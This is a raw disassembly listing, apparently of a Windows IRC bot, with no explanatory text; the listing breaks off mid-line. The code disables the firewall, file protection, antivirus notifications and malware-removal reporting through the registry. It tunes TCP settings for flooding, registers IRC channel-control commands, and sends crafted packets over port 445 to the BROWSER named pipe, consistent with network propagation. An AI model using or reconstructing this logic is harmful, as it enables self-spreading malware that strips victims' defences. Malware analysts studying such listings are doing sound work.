[ebp+var_8], eax push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_34] push offset loc_438FF8 push eax call sub_422063 add esp, 0Ch xor eax, eax loc_411A95: ; CODE XREF: sub_411A5E+4Ej mov cl, [ebp+eax+var_34] and [ebp+eax*2+var_FB], 0 mov [ebp+eax*2+var_FC], cl inc eax cmp eax, 28h jl short loc_411A95 push 60h lea eax, [ebp+var_AC] push offset dword_438BD0 push eax call sub_4223F0 lea eax, [ebp+var_34] push eax call sub_422120 add eax, eax push eax lea eax, [ebp+var_FC] push eax lea eax, [ebp+var_7C] push eax call sub_4223F0 add esp, 1Ch lea eax, [ebp+var_34] push 9 push (offset aC_0+3) push eax call sub_422120 pop ecx lea eax, [ebp+eax*2+var_7D] push eax call sub_4223F0 lea eax, [ebp+var_34] push eax call sub_422120 add al, 1Ah push 1 add al, al mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_A9] push eax call sub_4223F0 lea eax, [ebp+var_34] push eax call sub_422120 add al, al push 1 add al, 9 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_7F] push eax call sub_4223F0 mov esi, [ebp+arg_D4] add esp, 2Ch test esi, esi jz loc_411C22 mov edi, 0DACh lea eax, [ebp+var_2CA0] push edi push 90h push eax call sub_4221F0 lea ebx, ds:438FDCh[esi*8] push 4 lea eax, [ebp+var_24BC] push ebx push eax call sub_4223F0 mov esi, offset dword_432980 push esi call sub_422120 push eax lea eax, [ebp+var_24AC] push esi push eax call sub_4223F0 push 4 lea eax, [ebp+var_2188] push offset loc_438FF0 push eax call sub_4223F0 push 4 lea eax, [ebp+var_2184] push ebx push eax call sub_4223F0 add esp, 40h push esi call sub_422120 push eax lea eax, [ebp+var_2178] push esi push eax call sub_4223F0 add esp, 10h xor eax, eax loc_411BD1: ; CODE XREF: sub_411A5E+18Cj mov cl, [ebp+eax+var_2CA0] and [ebp+eax*2+var_47FB], 0 mov [ebp+eax*2+var_47FC], cl inc eax cmp eax, edi jl short loc_411BD1 and [ebp+var_2CA4], 0 and [ebp+var_2CA3], 0 mov esi, 1C52h lea eax, [ebp+var_89AC] push esi push 31h push eax call sub_4221F0 push esi lea eax, [ebp+var_68D4] push 31h push eax call sub_4221F0 add esp, 18h jmp short loc_411C79 ; --------------------------------------------------------------------------- loc_411C22: ; CODE XREF: sub_411A5E+E9j push 7D0h lea eax, [ebp+var_F0C] push 90h push eax call sub_4221F0 mov esi, offset dword_432980 push esi call sub_422120 push eax lea eax, [ebp+var_E6C] push esi push eax call sub_4223F0 lea eax, [ebp+var_C] push eax call sub_422120 push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_750] push eax call sub_4223F0 mov eax, dword_438FDC add esp, 2Ch mov [ebp+var_760], eax loc_411C79: ; CODE XREF: sub_411A5E+1C2j push 0E29h lea eax, [ebp+var_1EF0] push 31h push eax call sub_4221F0 movsx eax, [ebp+var_1] add esp, 0Ch add eax, 4 mov esi, dword_42F288 push 0 push eax lea eax, [ebp+var_AC] push eax push [ebp+arg_D0] call esi ; dword_42F288 cmp eax, 0FFFFFFFFh jz loc_411E51 mov edi, dword_42F28C mov ebx, 640h push 0 lea eax, [ebp+var_73C] push ebx push eax push [ebp+arg_D0] call edi ; dword_42F28C push 0 push 68h push offset dword_438C38 push [ebp+arg_D0] call esi ; dword_42F288 cmp eax, 0FFFFFFFFh jz loc_411E51 push 0 lea eax, [ebp+var_73C] push ebx push eax push [ebp+arg_D0] call edi ; dword_42F28C push 0 push 0A0h push offset dword_438CA8 push [ebp+arg_D0] call esi ; dword_42F288 cmp eax, 0FFFFFFFFh jz loc_411E51 push 0 lea eax, [ebp+var_73C] push ebx push eax push [ebp+arg_D0] call edi ; dword_42F28C cmp [ebp+arg_D4], 0 jz loc_411DEB push 68h lea eax, [ebp+var_89AC] push offset dword_438E68 push eax call sub_4223F0 lea eax, [ebp+var_47FC] push 1B5Ah push eax lea eax, [ebp+var_8944] push eax call sub_4223F0 push 70h lea eax, [ebp+var_68D4] push offset dword_438ED8 push eax call sub_4223F0 lea eax, [ebp+var_3768] push 0A5Eh push eax lea eax, [ebp+var_6864] push eax call sub_4223F0 push 84h lea eax, [ebp+var_5DA0] push offset dword_438F50 push eax call sub_4223F0 add esp, 3Ch lea eax, [ebp+var_89AC] push 0 push 10FCh push eax push [ebp+arg_D0] call esi ; dword_42F288 cmp eax, 0FFFFFFFFh jz loc_411E51 push 0 lea eax, [ebp+var_73C] push ebx push eax push [ebp+arg_D0] call edi ; dword_42F28C push 0 push 0FDCh lea eax, [ebp+var_68D4] jmp short loc_411E43 ; --------------------------------------------------------------------------- loc_411DEB: ; CODE XREF: sub_411A5E+2D8j push 7Ch lea eax, [ebp+var_1EF0] push offset dword_438D50 push eax call sub_4223F0 lea eax, [ebp+var_F0C] push 7D0h push eax lea eax, [ebp+var_1E74] push eax call sub_4223F0 push 90h lea eax, [ebp+var_16A4] push offset off_438DD0 push eax call sub_4223F0 add esp, 24h and [ebp+var_11F9], 0 lea eax, [ebp+var_1EF0] push 0 push 0CF8h loc_411E43: ; CODE XREF: sub_411A5E+38Bj push eax push [ebp+arg_D0] call esi ; dword_42F288 cmp eax, 0FFFFFFFFh jnz short loc_411E55 loc_411E51: ; CODE XREF: sub_411A5E+253j ; sub_411A5E+28Aj ... xor eax, eax jmp short loc_411E8A ; --------------------------------------------------------------------------- loc_411E55: ; CODE XREF: sub_411A5E+3F1j movzx eax, word_439014 push eax lea esi, [ebp+arg_0] sub esp, 0D0h push 34h pop ecx mov edi, esp rep movsd call sub_401160 add esp, 0D4h test eax, eax jz short loc_411E87 push 7D0h call dword_42F15C ; Sleep loc_411E87: ; CODE XREF: sub_411A5E+41Cj xor eax, eax inc eax loc_411E8A: ; CODE XREF: sub_411A5E+3F5j pop edi pop esi pop ebx leave retn sub_411A5E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 65Ch push ebx push esi push edi lea eax, [ebp+10h] push 1 push eax call sub_401AB3 mov [ebp-0Ch], eax xor edi, edi push 10h lea eax, [ebp-1Ch] push edi push eax mov [ebp-8], edi call sub_4221F0 add esp, 14h lea eax, [ebp+10h] mov word ptr [ebp-1Ch], 2 push eax call dword_42F2AC ; inet_addr push 1BDh mov [ebp-18h], eax call dword_42F2B8 ; ntohs push 6 push 1 push 2 mov [ebp-1Ah], ax call dword_42F29C ; socket mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp-4], esi jz short loc_411F72 lea eax, [ebp-1Ch] push 10h push eax push esi call dword_42F294 ; connect cmp eax, 0FFFFFFFFh jz short loc_411F72 mov ebx, dword_42F288 push edi push 89h push offset dword_4389B0 push esi call ebx ; dword_42F288 cmp eax, 0FFFFFFFFh jz short loc_411F72 push edi mov edi, 640h lea eax, [ebp-65Ch] push edi push eax push esi mov esi, dword_42F28C call esi ; dword_42F28C push 0 push 0A8h push offset dword_438A40 push dword ptr [ebp-4] call ebx ; dword_42F288 cmp eax, 0FFFFFFFFh jz short loc_411F72 push 0 lea eax, [ebp-65Ch] push edi push eax push dword ptr [ebp-4] call esi ; dword_42F28C push 0 push 0DEh push offset dword_438AF0 push dword ptr [ebp-4] call ebx ; dword_42F288 cmp eax, 0FFFFFFFFh jnz short loc_411F79 loc_411F72: ; CODE XREF: .text:00411EF3j ; .text:00411F05j ... xor eax, eax jmp loc_41203A ; --------------------------------------------------------------------------- loc_411F79: ; CODE XREF: .text:00411F70j mov ebx, [ebp-4] push 0 lea eax, [ebp-65Ch] push edi push eax push ebx call esi ; dword_42F28C cmp dword ptr [ebp-0Ch], 2 jnz short loc_411FB8 push 1 push ebx sub esp, 0D0h lea esi, [ebp+10h] push 34h pop ecx mov edi, esp rep movsd call sub_411A5E add esp, 0D8h test eax, eax jz short loc_411FE7 mov dword ptr [ebp-8], 1 loc_411FB8: ; CODE XREF: .text:00411F8Dj cmp dword ptr [ebp-0Ch], 3 jnz short loc_411FE7 push 0 push ebx sub esp, 0D0h lea esi, [ebp+10h] push 34h pop ecx mov edi, esp rep movsd call sub_411A5E add esp, 0D8h test eax, eax jz short loc_411FE7 mov dword ptr [ebp-8], 1 loc_411FE7: ; CODE XREF: .text:00411FAFj ; .text:00411FBCj ... push ebx call dword_42F298 ; closesocket cmp dword ptr [ebp-8], 0 jz short loc_412037 mov eax, [ebp+0C8h] lea eax, [eax+eax*8] shl eax, 3 lea ecx, dword_432090[eax] inc dword ptr [ecx] cmp dword ptr [ebp+0D8h], 0 mov ecx, [ecx] jz short loc_412037 push ecx lea ecx, [ebp+10h] lea eax, dword_432069[eax] push ecx push eax push offset aRaMr15qabm1 ; "RA/Mr15qAbm1" push offset aSSSExD ; "%s %s -> %s (Ex: %d)" push dword ptr [ebp+8] push dword ptr [ebp+0Ch] call sub_4104F6 add esp, 1Ch loc_412037: ; CODE XREF: .text:00411FF2j ; .text:00412011j xor eax, eax inc eax loc_41203A: ; CODE XREF: .text:00411F74j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41203F: ; DATA XREF: .text:00432008o call sub_412049 jmp loc_412053 ; =============== S U B R O U T I N E ======================================= sub_412049 proc near ; CODE XREF: .text:loc_41203Fp ; FUNCTION CHUNK AT 0040FAFF SIZE 00000020 BYTES mov ecx, offset dword_4554B0 jmp loc_40FAFF sub_412049 endp ; --------------------------------------------------------------------------- loc_412053: ; CODE XREF: .text:00412044j push offset loc_41205F call sub_42321A pop ecx retn ; --------------------------------------------------------------------------- loc_41205F: ; DATA XREF: .text:loc_412053o mov ecx, offset dword_4554B0 jmp loc_40FB1F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412069 proc near ; CODE XREF: sub_403B2C+63Cp ; sub_412267+150p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_454750 mov edi, 0B8h loc_41207D: ; CODE XREF: sub_412069+33j cmp byte ptr [esi], 0 jz short loc_4120A0 push [ebp+arg_0] push esi call sub_422760 pop ecx test eax, eax pop ecx jz short loc_4120A0 inc [ebp+var_4] add esi, edi cmp esi, offset dword_4552D0 jl short loc_41207D jmp short loc_4120E2 ; --------------------------------------------------------------------------- loc_4120A0: ; CODE XREF: sub_412069+17j ; sub_412069+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_454750[esi] push ebx call sub_4221F0 push 17h push [ebp+arg_0] push ebx call sub_4222F0 push 9Fh lea eax, dword_454768[esi] push [ebp+arg_4] push eax call sub_4222F0 add esp, 24h inc dword_43C178 pop ebx loc_4120E2: ; CODE XREF: sub_412069+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_412069 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4120E9 proc near ; CODE XREF: .text:00424F9Ep var_620 = byte ptr -620h var_420 = byte ptr -420h var_31C = byte ptr -31Ch var_218 = byte ptr -218h var_114 = byte ptr -114h var_113 = byte ptr -113h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 620h push esi push edi call sub_40BB43 call sub_41FB50 test eax, eax jz short loc_412112 push 1 call sub_41F331 pop ecx push 1 call dword_42F06C ; ExitProcess loc_412112: ; CODE XREF: sub_4120E9+17j push ebx push dword_43C170 push dword_43C174 call sub_41D499 pop ecx pop ecx call sub_41D98A xor ebx, ebx push 2 mov [ebp+var_10], offset dword_439068 mov [ebp+var_C], offset sub_41B387 mov [ebp+var_8], ebx mov [ebp+var_4], ebx call dword_4543C0 ; SetErrorMode lea eax, [ebp+var_420] push 104h push eax push ebx call dword_42F074 ; GetModuleHandleA push eax call dword_42F154 ; GetModuleFileNameA push 40h xor eax, eax pop ecx lea edi, [ebp+var_113] mov [ebp+var_114], bl push ebx rep stosd push dword_439018 stosw stosb lea eax, [ebp+var_114] push eax push ebx call dword_42F234 mov esi, dword_42F04C lea eax, [ebp+var_114] push eax push offset dword_4553A8 call esi ; dword_42F04C lea eax, [ebp+var_114] push eax lea eax, [ebp+var_218] push eax call esi ; dword_42F04C mov esi, offset loc_439030 lea eax, [ebp+var_218] push esi push eax mov edi, offset dword_43C270 lea eax, [ebp+var_31C] push edi push eax call sub_422063 lea eax, [ebp+var_218] push esi push eax call sub_41F01F add esp, 18h test eax, eax pop ebx jz short loc_41221B lea eax, [ebp+var_420] push 1 push eax push offset byte_43B13B push offset dword_43B03C push dword_43B038 call sub_41A8F2 lea eax, [ebp+var_31C] push eax call sub_41B424 add esp, 18h push 1 call dword_42F06C ; ExitProcess loc_41221B: ; CODE XREF: sub_4120E9+FBj lea eax, [ebp+var_218] push esi push eax lea eax, [ebp+var_620] push edi push eax call sub_422063 lea eax, [ebp+var_620] push eax push offset dword_439540 call sub_414F35 add esp, 18h lea eax, [ebp+var_10] push eax call dword_4543D0 ; StartServiceCtrlDispatcherA test eax, eax jnz short loc_41225F lea eax, [ebp+var_31C] push eax call sub_41B424 pop ecx loc_41225F: ; CODE XREF: sub_4120E9+167j pop edi xor eax, eax pop esi leave retn 10h sub_4120E9 endp ; =============== S U B R O U T I N E ======================================= sub_412267 proc near ; DATA XREF: sub_41B537+Co ; sub_41B69D+15Fo var_3D8 = dword ptr -3D8h var_3D4 = dword ptr -3D4h var_3D0 = byte ptr -3D0h var_338 = dword ptr -338h var_190 = byte ptr -190h sub esp, 3D8h push ebx push ebp push esi push edi push 7530h xor ebx, ebx push offset loc_43901C push ebx push ebx call dword_42F090 ; CreateMutexA push eax call dword_42F064 ; WaitForSingleObject cmp eax, 102h jnz short loc_41229B push 1 call dword_42F06C ; ExitProcess loc_41229B: ; CODE XREF: sub_412267+2Aj push offset aH08_Drzwx_ ; "h/08./drzWX." push offset aSMainThread ; "%s Main thread" push ebx call sub_41BED7 xor edi, edi mov ebp, offset dword_43B03C inc edi push edi push offset byte_43B13B push ebp push dword_43B038 call sub_41A829 mov esi, eax add esp, 1Ch cmp esi, ebx jz short loc_41231C push 80h push esi call dword_42F08C ; SetFileAttributesA mov [esp+3E8h+var_3D4], ebx jmp short loc_4122FD ; --------------------------------------------------------------------------- loc_4122E0: ; CODE XREF: sub_412267+9Fj cmp [esp+3E8h+var_3D4], 3 jge short loc_412308 push esi call dword_42F088 ; DeleteFileA inc [esp+3E8h+var_3D4] push 7D0h call dword_42F15C ; Sleep loc_4122FD: ; CODE XREF: sub_412267+77j push esi call sub_41EF49 test eax, eax pop ecx jnz short loc_4122E0 loc_412308: ; CODE XREF: sub_412267+7Ej push offset byte_43B13B push ebp push dword_43B038 call sub_41A454 add esp, 0Ch loc_41231C: ; CODE XREF: sub_412267+65j mov esi, dword_42F164 call esi ; dword_42F164 push eax call sub_4220EF pop ecx call esi ; dword_42F164 mov dword_4554F0, eax lea eax, [esp+3E8h+var_190] push eax push 102h call dword_454274 ; WSAStartup test eax, eax jz short loc_412351 push 0FFFFFFFEh call dword_42F06C ; ExitProcess loc_412351: ; CODE XREF: sub_412267+E0j push offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx." push offset aSAutosecure ; "%s AutoSecure" push 2 mov [esp+3F4h+var_3D8], ebx mov [esp+3F4h+var_338], edi call sub_41BED7 add esp, 0Ch mov esi, eax lea eax, [esp+3E8h+var_3D8] mov ebp, dword_42F158 push eax lea eax, [esp+3ECh+var_3D0] push ebx push eax push offset sub_41B226 push ebx push ebx call ebp ; dword_42F158 imul esi, 1018h mov dword_46D414[esi], eax call sub_40203F push 0B80h push ebx push offset dword_454750 call sub_4221F0 push offset aRPrivmsg1GodDa ; "r PRIVMSG $1 god damnit,hard bitchslaps"... push offset aSlaps ; "slaps" call sub_412069 push offset aRPrivmsg1Slaps ; "r PRIVMSG $1 slaps for You!!" push offset aSlap ; "slap" call sub_412069 push offset dword_43C76C push offset dword_43C768 call sub_412069 push offset dword_43C760 push offset aCtc2 ; "ctc2" call sub_412069 push offset aRModeChanO1 ; "r MODE $chan +o $1" push offset aOps ; "ops" call sub_412069 push offset aRModeChanV1 ; "r MODE $chan +v $1" push offset aVoice ; "voice" call sub_412069 push offset aRModeChanH1 ; "r MODE $chan +h $1" push offset aHalfop ; "halfop" call sub_412069 add esp, 44h push offset aRModeChanB1 ; "r MODE $chan +b $1" push offset aBan ; "ban" call sub_412069 push edi push offset a5000 ; "5000" push offset aWaittokillserv ; "WaitToKillServiceT" mov esi, 80000002h push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control" push esi call sub_41A8F2 push 0FFFEh mov edi, offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\Tcpip"... push offset aMaxuserport ; "MaxUserPort" push edi push esi call sub_41A8D1 push 1Eh push offset aTcptimedwaitde ; "TcpTimedWaitDelay" push edi push esi call sub_41A8D1 push 1 push offset aStricttimewait ; "StrictTimeWaitSeqCheck" push edi push esi call sub_41A8D1 add esp, 4Ch push 1 push offset aTcp1323opts ; "Tcp1323Opts" push edi push esi call sub_41A8D1 push 3EBC0h push offset aGlobalmaxtcpwi ; "GlobalMaxTcpWindowSize" push edi push esi call sub_41A8D1 push 3EBC0h push offset aTcpwindowsize ; "TcpWindowSize" push edi push esi call sub_41A8D1 push 1 push offset aEnablepmtudisc ; "EnablePMTUDiscovery" push edi push esi call sub_41A8D1 add esp, 40h push ebx push offset aEnablepmtubhde ; "EnablePMTUBHDetect" push edi push esi call sub_41A8D1 push 1 push offset aSackopts ; "SackOpts" push edi push esi call sub_41A8D1 push 40h push offset aDefaultttl ; "DefaultTTL" push edi push esi call sub_41A8D1 push 2 push offset aTcpmaxdupacks ; "TcpMaxDupAcks" push edi push esi call sub_41A8D1 add esp, 40h push 0C8000h push offset aLargebuffersiz ; "LargeBufferSize" push edi push esi call sub_41A8D1 push 1 push offset aAllowuserrawac ; "AllowUserRawAccess" push edi push esi call sub_41A8D1 push 1 push offset aDisablerawsecu ; "DisableRawSecurity" push offset aSystemCurren_1 ; "SYSTEM\\CurrentControlSet\\Services\\Afd\\P"... push esi call sub_41A8D1 push 0FFFEh push offset aMaxconnections ; "MaxConnectionsPer1_0Server" mov edi, 80000001h push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"... push edi call sub_41A8D1 add esp, 40h push 0FFFEh push offset aMaxconnectio_0 ; "MaxConnectionsPerServer" push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"... push edi call sub_41A8D1 push 4000h mov edi, offset aSystemCurren_2 ; "SYSTEM\\CurrentControlSet\\Services\\Lanma"... push offset aSizreqbuf ; "SizReqBuf" push edi push esi call sub_41A8D1 push 0FFFFFF9Dh push offset aSfcdisable ; "SFCDisable" push offset aSoftwarePolici ; "Software\\Policies\\Microsoft\\Windows NT\\"... push esi call sub_41A8D1 push ebx push offset aSfcscan ; "SFCScan" push offset aSoftwarePolici ; "Software\\Policies\\Microsoft\\Windows NT\\"... push esi call sub_41A8D1 add esp, 40h push 1 push offset aAutoshareserve ; "AutoShareServer" push edi push esi call sub_41A8D1 push 1 push offset aAutosharewks ; "AutoShareWks" push edi push esi call sub_41A8D1 push ebx mov edi, offset aSystemControls ; "SYSTEM\\ControlSet001\\Services\\SharedAcc"... push offset aEnablefirewall ; "EnableFirewall" push edi push esi call sub_41A8D1 push ebx push offset aDonotallowexce ; "DoNotAllowExceptions" push edi push esi call sub_41A8D1 add esp, 40h push 1 push offset aDisablenotific ; "DisableNotifications" push edi push esi call sub_41A8D1 push ebx mov edi, offset aSystemContro_0 ; "SYSTEM\\ControlSet001\\Services\\SharedAcc"... push offset aEnablefirewall ; "EnableFirewall" push edi push esi call sub_41A8D1 push ebx push offset aDonotallowexce ; "DoNotAllowExceptions" push edi push esi call sub_41A8D1 push 1 push offset aDisablenotific ; "DisableNotifications" push edi push esi call sub_41A8D1 add esp, 40h mov edi, offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Security Center" push 1 push offset aAntivirusdisab ; "AntiVirusDisableNotify" push edi push esi call sub_41A8D1 push 1 push offset aAntivirusoverr ; "AntiVirusOverride" push edi push esi call sub_41A8D1 push 1 push offset aFirewalldisabl ; "FirewallDisableNotify" push edi push esi call sub_41A8D1 push 1 push offset aFirewalloverri ; "FirewallOverride" push edi push esi call sub_41A8D1 add esp, 40h push 1 push offset aDontreportinfe ; "DontReportInfectionInformation" push offset aSoftwarePoli_0 ; "SOFTWARE\\Policies\\Microsoft\\MRT" push esi call sub_41A8D1 add esp, 10h call sub_4146B9 lea eax, [esp+3E8h+var_3D8] push eax push ebx push ebx push offset sub_414810 push ebx push ebx call ebp ; dword_42F158 lea eax, [esp+3E8h+var_3D8] push eax push ebx push ebx push offset sub_41477A push ebx push ebx call ebp ; dword_42F158 lea eax, [esp+3E8h+var_3D8] push eax push ebx push ebx push offset sub_414983 push ebx push ebx call ebp ; dword_42F158 lea eax, [esp+3E8h+var_3D8] push eax push ebx push ebx push offset sub_414CF1 push ebx push ebx call ebp ; dword_42F158 lea eax, [esp+3E8h+var_3D8] push eax push ebx push ebx push offset sub_414FE3 push ebx push ebx call ebp ; dword_42F158 mov esi, offset dword_4554F8 push 100h push esi call dword_454324 ; gethostname push esi call dword_454398 ; gethostbyname mov dword_4552E0, eax mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_45439C ; inet_ntoa push 10h push eax push offset dword_455388 mov dword_4553A0, eax call sub_4222F0 push offset dword_4554B0 mov dword_45539C, ebx call sub_41A1C8 add esp, 10h mov esi, offset dword_4554B0 jmp loc_4127A6 ; --------------------------------------------------------------------------- loc_412711: ; CODE XREF: sub_412267+548j mov ecx, esi call sub_411123 test al, al jnz short loc_412778 call sub_41F621 call dword_454218 ; DnsFlushResolverCache mov eax, dword_45539C mov ecx, esi mov edi, eax imul eax, 0B8h add eax, offset byte_4396F7 imul edi, 0B8h push eax push 0Ch push 1 call sub_410806 push eax push 4 push 8 mov ecx, esi call sub_410806 push eax push 5 push 7 mov ecx, esi call sub_410806 push eax lea eax, dword_439658[edi] push dword_439708[edi] mov ecx, esi push eax call sub_40FFB4 loc_412778: ; CODE XREF: sub_412267+4B3j mov ecx, esi call sub_4101D2 push 1F40h call dword_42F15C ; Sleep mov eax, dword_43C170 dec eax cmp dword_45539C, eax jnz short loc_4127A0 mov dword_45539C, ebx jmp short loc_4127A6 ; --------------------------------------------------------------------------- loc_4127A0: ; CODE XREF: sub_412267+52Fj inc dword_45539C loc_4127A6: ; CODE XREF: sub_412267+4A5j ; sub_412267+537j mov ecx, esi call sub_411127 test al, al jnz loc_412711 call sub_41BFDA call dword_454258 ; WSACleanup push dword_4555FC call dword_42F084 ; ReleaseMutex push ebx call dword_42F150 ; ExitThread loc_4127D3: ; DATA XREF: .text:0043200Co jmp $+5 mov eax, dword_43C810 add eax, 6 mov dword_45560C, eax retn sub_412267 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4127E6 proc near ; CODE XREF: sub_4127E6+D0p ; sub_4128D4+4A7p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_4127FA or [ebp+arg_7], 1 jmp short loc_4127FE ; --------------------------------------------------------------------------- loc_4127FA: ; CODE XREF: sub_4127E6+Cj and [ebp+arg_7], 0FEh loc_4127FE: ; CODE XREF: sub_4127E6+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_412822 or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_412834 ; --------------------------------------------------------------------------- loc_412822: ; CODE XREF: sub_4127E6+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_412834: ; CODE XREF: sub_4127E6+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_422F79 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_4128CD push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_4223F0 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] call dword_42F07C ; WriteFile test eax, eax jz short loc_4128C4 mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_4128C4 push [ebp+arg_20] call sub_4230B3 cmp [ebp+arg_2B], 0 pop ecx jz short loc_4128C0 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_4127E6 add esp, 2Ch jmp short loc_4128CF ; --------------------------------------------------------------------------- loc_4128C0: ; CODE XREF: sub_4127E6+B3j mov al, 1 jmp short loc_4128CF ; --------------------------------------------------------------------------- loc_4128C4: ; CODE XREF: sub_4127E6+9Cj ; sub_4127E6+A4j push [ebp+arg_20] call sub_4230B3 pop ecx loc_4128CD: ; CODE XREF: sub_4127E6+61j xor al, al loc_4128CF: ; CODE XREF: sub_4127E6+D8j ; sub_4127E6+DCj pop edi pop esi pop ebx leave retn sub_4127E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4128D4 proc near ; CODE XREF: .text:00412E9Ep var_60E0 = byte ptr -60E0h var_40E0 = byte ptr -40E0h var_20E0 = byte ptr -20E0h var_E0 = byte ptr -0E0h var_CC = dword ptr -0CCh var_C0 = byte ptr -0C0h var_BC = byte ptr -0BCh var_BB = byte ptr -0BBh var_BA = byte ptr -0BAh var_B9 = byte ptr -0B9h var_B8 = dword ptr -0B8h var_B4 = word ptr -0B4h var_B2 = word ptr -0B2h var_B0 = dword ptr -0B0h var_AC = word ptr -0ACh var_AA = word ptr -0AAh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = word ptr -0A0h var_9E = byte ptr -9Eh var_9C = byte ptr -9Ch var_8C = dword ptr -8Ch var_88 = byte ptr -88h var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = qword ptr -6Ch var_64 = dword ptr -64h var_60 = byte ptr -60h var_50 = dword ptr -50h var_4C = byte ptr -4Ch var_4B = byte ptr -4Bh var_4A = byte ptr -4Ah var_49 = byte ptr -49h var_48 = dword ptr -48h var_42 = word ptr -42h var_40 = dword ptr -40h var_38 = word ptr -38h var_36 = word ptr -36h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = qword ptr -14h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_B8 = dword ptr 0C0h arg_D0 = dword ptr 0D8h push ebp mov ebp, esp mov eax, 60E0h call sub_4220C0 push ebx push esi push edi lea eax, [ebp+arg_0] push offset a__0 ; "." push eax call sub_424380 pop ecx xor ebx, ebx test eax, eax pop ecx mov esi, 2000h jz short loc_412947 lea eax, [ebp+arg_0] push eax push offset loc_438FF8 lea eax, [ebp+var_20E0] push esi push eax call sub_42219B push 20h lea eax, [ebp+var_E0] push ebx push eax call sub_4221F0 lea eax, [ebp+var_20E0] add esp, 1Ch mov [ebp+var_CC], eax mov eax, offset byte_44D6A4 push ebx push eax push eax lea eax, [ebp+var_E0] push eax call sub_421C72 loc_412947: ; CODE XREF: sub_4128D4+29j lea eax, [ebp+arg_0] push eax push offset aSPipeBrowser ; "\\\\%s\\pipe\\BROWSER" lea eax, [ebp+var_40E0] push esi push eax call sub_42219B add esp, 10h lea eax, [ebp+var_40E0] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax call dword_42F060 ; CreateFileA cmp eax, 0FFFFFFFFh mov dword ptr [ebp+var_C+4], eax jnz short loc_41298C loc_412985: ; CODE XREF: sub_4128D4+271j ; sub_4128D4+389j ... xor al, al jmp loc_412E5F ; --------------------------------------------------------------------------- loc_41298C: ; CODE XREF: sub_4128D4+AFj push 48h lea eax, [ebp+var_BC] push ebx push eax call sub_4221F0 push 10h xor edi, edi pop eax inc edi mov [ebp+var_B8], eax push eax lea eax, [ebp+var_9C] push offset dword_43C858 push eax mov [ebp+var_BC], 5 mov [ebp+var_BB], bl mov [ebp+var_BA], 0Bh mov [ebp+var_B9], 3 mov [ebp+var_B4], 48h mov [ebp+var_B2], bx mov [ebp+var_B0], ebx mov [ebp+var_AC], 10B8h mov [ebp+var_AA], 10B8h mov [ebp+var_A8], ebx mov [ebp+var_A4], edi mov [ebp+var_A0], bx mov [ebp+var_9E], 1 call sub_4223F0 push 10h lea eax, [ebp+var_88] push offset dword_43C844 push eax mov [ebp+var_8C], 3 call sub_4223F0 add esp, 24h lea eax, [ebp+var_C0] mov [ebp+var_78], 2 push ebx push eax lea eax, [ebp+var_BC] push 48h push eax push dword ptr [ebp+var_C+4] call dword_42F07C ; WriteFile test eax, eax jnz short loc_412A6B push 7D0h call dword_42F15C ; Sleep jmp loc_412B3C ; --------------------------------------------------------------------------- loc_412A6B: ; CODE XREF: 